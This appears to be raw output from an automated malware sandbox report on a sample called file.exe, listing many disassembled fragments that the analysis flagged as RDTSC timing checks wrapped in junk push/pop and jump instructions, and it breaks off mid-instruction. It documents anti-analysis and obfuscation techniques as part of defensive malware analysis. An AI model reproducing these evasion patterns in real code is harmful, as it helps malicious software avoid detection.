Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72795F second address: 727965 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 727A19 second address: 727A1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 727A1F second address: 727A23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 736FEE second address: 736FF5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 728AF0 second address: 728AF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 728AF4 second address: 728B06 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE44F82BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 729A54 second address: 729A59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 729A59 second address: 729A5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 729A5F second address: 729A63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72AAD2 second address: 72AAD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72AAD7 second address: 72AADD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72ABC8 second address: 72ABD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72BA96 second address: 72BA9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72BA9A second address: 72BAA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72BB50 second address: 72BB55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72CA66 second address: 72CA6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72DBA1 second address: 72DBAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F4FE48681C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72DBAB second address: 72DBAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72EA95 second address: 72EA99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73CA0C second address: 73CA3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F4FE44F82B6h 0x0000000a jmp 00007F4FE44F82C7h 0x0000000f popad 0x00000010 je 00007F4FE44F82BCh 0x00000016 jne 00007F4FE44F82B6h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73CA3A second address: 73CA3F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73CA3F second address: 73CA45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73CA45 second address: 73CA4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73CA4B second address: 73CA51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73CA51 second address: 73CA79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F4FE48681D7h 0x0000000e jng 00007F4FE48681C8h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73CA79 second address: 73CA89 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE44F82BBh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 740C44 second address: 740C48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7407EF second address: 7407F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 731CB1 second address: 731CB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7362D6 second address: 7362DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7362DA second address: 7362DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 737234 second address: 73723A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 730BC4 second address: 730BCE instructions: 0x00000000 rdtsc 0x00000002 jc 00007F4FE48681CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74CF8B second address: 74CF94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74C865 second address: 74C86A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74C9C8 second address: 74C9CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74C9CC second address: 74C9F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jbe 00007F4FE48681C6h 0x0000000f jmp 00007F4FE48681D2h 0x00000014 popad 0x00000015 pushad 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e pop eax 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74CB79 second address: 74CB83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F4FE44F82B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 751028 second address: 751038 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4FE48681CAh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 751038 second address: 75103C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75103C second address: 751052 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F4FE48681C6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e js 00007F4FE48681C6h 0x00000014 push edi 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 753C5B second address: 753C8E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE44F82C1h 0x00000007 jnc 00007F4FE44F82B6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F4FE44F82C4h 0x00000016 push esi 0x00000017 pop esi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7581D8 second address: 7581DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7584B5 second address: 7584BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7584BE second address: 7584C3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7584C3 second address: 7584D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jo 00007F4FE44F82C2h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7584D4 second address: 7584DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7584DA second address: 7584E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 push esi 0x00000006 pop esi 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7584E2 second address: 7584ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F4FE48681C6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7585F8 second address: 758610 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE44F82C2h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 758610 second address: 758628 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jbe 00007F4FE48681C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jns 00007F4FE48681C8h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 758628 second address: 758644 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F4FE44F82BEh 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d js 00007F4FE44F82B6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 758644 second address: 758648 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 758648 second address: 75864E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7587B9 second address: 7587BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7588F8 second address: 758902 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F4FE44F82B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 758902 second address: 758908 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 758908 second address: 758928 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F4FE44F82B6h 0x00000009 jmp 00007F4FE44F82C5h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 758928 second address: 75892E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75892E second address: 758941 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 jnp 00007F4FE44F82B6h 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 758941 second address: 75894C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 758ABC second address: 758AC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 758AC2 second address: 758AEE instructions: 0x00000000 rdtsc 0x00000002 je 00007F4FE48681C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f jnp 00007F4FE48681C6h 0x00000015 jmp 00007F4FE48681D2h 0x0000001a pop edx 0x0000001b push ebx 0x0000001c pushad 0x0000001d popad 0x0000001e pop ebx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75DDE0 second address: 75DE03 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F4FE44F82C9h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75DE03 second address: 75DE15 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75DE15 second address: 75DE29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push esi 0x00000007 pop esi 0x00000008 jnp 00007F4FE44F82B6h 0x0000000e pop esi 0x0000000f push edx 0x00000010 push edi 0x00000011 pop edi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75E9B2 second address: 75E9B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75E9B8 second address: 75E9C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75EAEA second address: 75EAEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75EAEE second address: 75EB09 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F4FE44F82C1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75EB09 second address: 75EB0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75EB0F second address: 75EB15 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75EB15 second address: 75EB2D instructions: 0x00000000 rdtsc 0x00000002 jng 00007F4FE48681C8h 0x00000008 push eax 0x00000009 push edx 0x0000000a jl 00007F4FE48681C6h 0x00000010 jp 00007F4FE48681C6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75EE3A second address: 75EE44 instructions: 0x00000000 rdtsc 0x00000002 js 00007F4FE44F82BEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 764504 second address: 76450A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76450A second address: 76450E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76450E second address: 764514 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 764514 second address: 764520 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F4FE44F82B6h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 700F97 second address: 700FC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a jmp 00007F4FE48681D1h 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 jnc 00007F4FE48681C6h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 718B82 second address: 718B87 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 718F93 second address: 718F97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 718F97 second address: 718FE3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push ebx 0x0000000a jng 00007F4FE44F82B6h 0x00000010 pop ebx 0x00000011 jl 00007F4FE44F82BCh 0x00000017 jne 00007F4FE44F82B6h 0x0000001d popad 0x0000001e mov eax, dword ptr [esp+04h] 0x00000022 jmp 00007F4FE44F82BEh 0x00000027 mov eax, dword ptr [eax] 0x00000029 jg 00007F4FE44F82BCh 0x0000002f mov dword ptr [esp+04h], eax 0x00000033 jl 00007F4FE44F82CCh 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7192C4 second address: 7192C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7192C8 second address: 7192D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7192D2 second address: 7192D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 719752 second address: 71979E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE44F82C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push ebx 0x0000000c jnp 00007F4FE44F82BCh 0x00000012 jne 00007F4FE44F82B6h 0x00000018 pop ebx 0x00000019 nop 0x0000001a or edx, dword ptr [ebp+122D34CDh] 0x00000020 sub dword ptr [ebp+122D1EB5h], eax 0x00000026 push 0000001Eh 0x00000028 mov edx, dword ptr [ebp+122D3665h] 0x0000002e push eax 0x0000002f push eax 0x00000030 push edx 0x00000031 jbe 00007F4FE44F82BCh 0x00000037 je 00007F4FE44F82B6h 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7198FE second address: 719902 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 719902 second address: 719906 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 719A4B second address: 719A63 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE48681D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 719A63 second address: 719A68 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 719A68 second address: 719A80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jl 00007F4FE48681CCh 0x00000012 jnl 00007F4FE48681C6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 719A80 second address: 719A8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F4FE44F82B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 719A8A second address: 719AA4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e js 00007F4FE48681CCh 0x00000014 jns 00007F4FE48681C6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 719AA4 second address: 719ABB instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F4FE44F82BCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 719ABB second address: 719ABF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 719ABF second address: 719AEC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE44F82BEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F4FE44F82C4h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 719BA1 second address: 719BBC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE48681CFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnl 00007F4FE48681C6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 719BBC second address: 719BC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 719BC0 second address: 701B25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007F4FE48681C8h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 00000016h 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 lea eax, dword ptr [ebp+1247B70Bh] 0x0000002a push 00000000h 0x0000002c push ebx 0x0000002d call 00007F4FE48681C8h 0x00000032 pop ebx 0x00000033 mov dword ptr [esp+04h], ebx 0x00000037 add dword ptr [esp+04h], 00000018h 0x0000003f inc ebx 0x00000040 push ebx 0x00000041 ret 0x00000042 pop ebx 0x00000043 ret 0x00000044 add ecx, dword ptr [ebp+122D339Dh] 0x0000004a mov ecx, dword ptr [ebp+122D3429h] 0x00000050 push eax 0x00000051 jmp 00007F4FE48681D2h 0x00000056 mov dword ptr [esp], eax 0x00000059 mov ecx, 